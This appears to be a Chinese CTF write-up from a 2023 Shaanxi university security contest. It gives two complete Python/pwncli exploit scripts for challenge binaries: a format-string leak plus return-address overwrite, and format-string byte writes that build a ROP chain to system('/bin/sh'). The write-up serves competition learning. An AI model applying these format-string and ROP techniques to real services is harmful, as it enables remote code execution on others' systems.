首页 > 其他分享 >2023年第三届陕西省大学生网络安全技能大赛-pwn-may be all

2023年第三届陕西省大学生网络安全技能大赛-pwn-may be all

时间:2023-06-04 13:11:30浏览次数:56  
标签:gift may leak elf debug libc pd 2023 pwn

2023年第三届陕西省大学生网络安全技能大赛-pwn-may be all?

前言

校队丢了两道题给我,看了看都是简单题,简单做了做。不知道具体叫什么名,就用pwn1、pwn2代替了。

pwn1

简单的格式化字符串泄露,除了远程docker的变量偏移不一样之外,没什么好说的。(出题人的docker可能有问题

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-06-03 13:55:30
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

sla('choice :','2')
sla('Terra_Cotta_Warriors\n','%19$p')
leak_elf = int(rl()[:-1],16)
leak_ex2(leak_elf)
eb = leak_elf - elf.sym.main
leak_ex2(eb)
sla('choice :','1')
sl(flat(
    {
        40:eb + 0x129a
    }
))

ia()

pwn2

简单的格式化字符串。改rbp链,然后考虑i变量与libc start main的返回地址在同一页的时候不断更改变量i的值以及在libc start main上写rop链。最后还原rbp即可。(现在仔细想想其实利用bss和修改rbp可以直接栈迁移到bss段上,这样好像会方便一点?

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-06-03 14:06:17
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

def attack_8_bits(val,attack_addr,i_addr):
    for i in range(6):
        pd = flat(
        {
            0:'%'+str(attack_addr+i&0xff)+'c'+'%8$hhn',
            0x40:''
        },filler = '\x00'
        )
        sa('say?\n',pd)
        pd = flat(
        {
            0:'%'+str(val&0xff)+'c'+'%10$hhn',
            0x40:''
        },filler = '\x00'
        )
        sa('say?\n',pd)
        sleep(0.05)
        pd = flat(
        {
            0:'%'+str(i_addr&0xff)+'c'+'%8$hhn',
            0x40:''
        },filler = '\x00'
        )
        sa('say?\n',pd)
        pd = flat(
        {
            0:'%10$n',
            0x40:''
        },filler = '\x00'
        )
        sa('say?\n',pd)
        val = val >> 8


pd = flat(
    {
        0x0:'TokameinE_is_the_best_pwner\x00\x00'
    },filler = '\x00'
)
sa('is?\n',pd)


pd = flat(
    {
        0:'%29$p-%8$p-',
    }
)
sa('say?\n',pd)
sleep(0.05)
leak_libc = int(ru('-')[:-1],16)
leak_ex2(leak_libc)
lb = leak_libc - 0x20840
libc.address = lb
leak_ex2(lb)
leak_stack = int(ru('-')[:-1],16)
leak_ex2(leak_stack)
attack_stack = leak_stack + 0x98
ori_ebp = leak_stack + 0x90
i_addr = leak_stack - 0x14

pop_rdi = CurrentGadgets.pop_rdi_ret()
attack_8_bits(pop_rdi,attack_stack,i_addr)
attack_8_bits(CurrentGadgets.bin_sh(),attack_stack+8,i_addr)
attack_8_bits(libc.sym.system,attack_stack+0x10,i_addr)


pd = flat(
{
    0:'%'+str(ori_ebp&0xff)+'c'+'%8$hhn',
    0x40:''
},filler = '\x00'
)
sa('say?\n',pd)
for i in range(12):
    sa('say?\n',p64(0xdeadbeef))
ia()


标签:gift,may,leak,elf,debug,libc,pd,2023,pwn
From: https://www.cnblogs.com/7resp4ss/p/17455559.html

相关文章

  • ansible实战-2023
    环境信息:cat/etc/ansible/hosts[webserver]192.168.31.18ansible_ssh_user=rootansible_ssh_pass=123456http_port=815testvar=31.18mysql_port=3309[dbserver]192.168.31.19ansible_ssh_user=rootansible_ssh_pass=123456http_port=816testvar=31.19mysql_port=3310......
  • 2023.5 codeforces 杂题选做
    2023.5codeforces杂题选做E.Location\(n\le5\times10^4\)的范围,并且区间赋值、区间维护最值,可以考虑分块。然后对于散块的修改可以直接暴力,对于整块,由于\(b_i\)值不变,\(a_i\)值只有一个,思考如何快速求。由于\(\dfrac{\operatorname{lcm}(a_i,b_i)}{\gcd(a_i,b_i)}=\d......
  • 2022-2023 java高级面试总结
    1.Java内存模型是什么?JMM即Java内存模型(Javamemorymodel),在JSR133里指出了JMM是用来定义一个一致的、跨平台的内存模型,是缓存一致性协议,用来定义数据读写的规则。Java内存模型规范java如何按需禁用缓存和编译优化的方法。2.mysql查询第一万条数据后20条数据,sql语句如何写?sel......
  • 2022-2023-java大厂面试真题
    【美团】面试真题: 1、SPRINGAOP底层原理 一、AOP概念: AOP(AspectOrientedProgramming),即面向切面编程,可以说是OOP(ObjectOrientedProgramming,面向对象编程)的补充和完善。OOP引入封装、继承、多态等概念来建立一种对象层次结构,用于模拟公共行为的一个集合。不过OOP允许开发......
  • 论文感谢 2023年3月21日,作于余杭塘河右岸杭州师范大学 信息学院网络空间安全专业应届
    致谢春天已经过去,夏天将要到来,今夜下了很大的雨,青蛙聒噪的叫个不停。我合上论文草稿,打开窗户回忆过去。三年过去了,我却没有很大的成就;一千个日夜的追寻,却也渐渐领悟了科研的真谛。过去种种焦虑焦灼都让我眉头紧锁,所有的开心快乐也都浮上心头。回忆浮现眼前,就像昨天发生的一样,此时......
  • 2023年AMC8真题试卷分析,近年AMC8考点分布总结
     AMC8考点  AMC8的考点与7、8年级数学大纲相对应,包括(但不局限于)整数、分数、小数、百分数、比例、数论、日常的几何、面积、体积、概率及统计、逻辑推理等。 计算部分:大多有实际应用背景,类似应用题,涉及分数、百分数、小数计算,但是复杂程度较低。考察学生的计算能力,在算......
  • 2023.22 黄仁勋台大毕典演说
    台湾大学5月27日举行毕业典礼,并邀请英伟达(Nvidia)创办人黄仁勋担任致词嘉宾。黄仁勋用英语演讲20分钟,分享了3个Nvidia曾经差点失败的故事,期勉台大毕业生们学习面对错误、寻求帮助,为追求愿景而坚持、磨练品格,以及学会放弃。1、坦诚面对错误,谦卑寻求帮助是聪明、成功人士最难学会的......
  • 2023-6-3
    今天没有自律成功,发现欲望对自律的破坏性太强了,全身都很烫很热一样,晚上运动完喝了冻饮料后才算真正的冷静下来。我不知道以后还要怎么去控制这种欲望,感觉有另一个人在操控身体一样,但是还是要忍住,重新再一次计时,不要让欲望的恶魔占据自己的身体,有人还在盼望我的成功。今天浑浑噩......
  • C语言学生信息管理系统[2023-06-03]
    C语言学生信息管理系统[2023-06-03]请用c语言设计一个学生信息管理系统,学生信息包括:学号,姓名,年龄,性别,出生年月,地址,电话,E-mail,c语言、数学和英语成绩等。使之能提供以下功能:1系统以菜单方式工作2学生信息录入、浏览、插入、删除、修改功能3查询功能(按学号查询、按姓名查......
  • 2023-06-03 网安第二节课
    渗透测试Penetrationtesting,是一种模拟恶意攻击的技术与方法,挫败目标系统的安全措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。 渗透测试分类黑客测试/外部测试白盒测试/内部测试灰盒测试/组合测试1、黑盒测试黑盒测试(Black-boxTesting)......